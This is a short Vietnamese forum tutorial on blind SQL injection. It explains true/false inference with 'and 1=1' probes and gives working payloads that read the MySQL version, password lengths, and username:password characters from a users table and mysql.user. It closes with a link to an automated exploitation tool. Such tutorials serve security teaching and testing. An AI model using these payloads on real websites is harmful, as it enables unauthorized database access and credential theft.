Blind SQL injection
Giới thiệu:
SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application. Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker có thể cho thực thi các SQL query không mong muốn can thiệp vào database làm thay đổi, thêm, xem hay xóa các dữ liệu.
Hacker thường khai thác bằng các gửi các giá trị đầu vào để server sinh các thông tin lỗi để từ đó tùy biến theo câu truy vấn gốc của người thiết kế.
Nếu Web Application được customize các trang lỗi hay các trang lỗi không trả về, phải làm thế nào? Hãy thử khai thác với phương thức: blind sql injection.
Ví dụ:
Trích:
http://victim/showproduct.asp?catid=1
Kết quả trả về là 5 sản phẩm xuất hiện trên trang web
Tùy biến 1:
Trích:
http://victim/showproduct.asp?catid=1 and 1=1
=>Trang web trả về 5 sản phẩm tương tự như trên
Tùy biến 2:
Trích:
http://victim/showproduct.asp?catid=1 and 1=2
=> Không sản phẩm nào xuất hiện.
Vậy ta nhận thấy ở đây 2 kết quả trả về của trang web khác nhau. Với tùy biến 1 ta thêm điều kiện 1=1 (true) sẽ không làm ảnh hưởng đến kết quả của câu truy vấn gốc nên vẫn hiện đúng 5 sp, nhưng với đk tùy biến 2 1=2 (false) thêm vào, câu truy vấn gốc sẽ bị trả kết quả về false dẫn đến không xuất hiện sp trên web. Dựa vào điểm này ta có thể dùng các truy vấn nối vào sao cho kết quả nhận là true/false để lấy thông tin về hệ thống!
Trong việc khai thác blind sql injection một số hàm sau tỏ ra hữu ích:
1. SUBSTRING(string,vị trí, số lượng): Hàm cắt chuỗi
vd:
SUBSTRING('dbo', 1, 1) = ‘d’
SUBSTRING('dbo', 2, 1) = ‘b’
SUBSTRING('dbo', 3, 1) = ‘o’
2. Lower(): chuyển ký tự sang chữ thường
3. Upper(): chuyển ký tự sang chữ HOA
4. ASCII(): chuyển ký tự sang số tương ứng mã ascii
5. If(đk,kq1,kq2)
Một số vd khai thác:
Vd 1:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
Kiểm tra version mysql (=4?)
Vd 2:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))=97
Lấy ký tự đầu username của table users xem phải ký tự 'a'
Ta có thể dùng phép so > hay < để chặn các kết quả để giảm bớt số lần so sánh (như quicksort chẳng hạn).
Vd 3:
http://www.site.com/news.php?id=5 AND (SELECT length(password) FROM users where id=1) > 9
Vd 4:
1=if(ascii(substring((select users from mysql.user limit 1),1,1))>1,1,5)
Các câu truy vấn sau tương tự các bạn tìm hiểu nhé!
Một công cụ cho phép khai thác tự động với blind sql injection: Download
__________________
Reflink: http://nhatnghe.com/forum/showthread.php?t=25213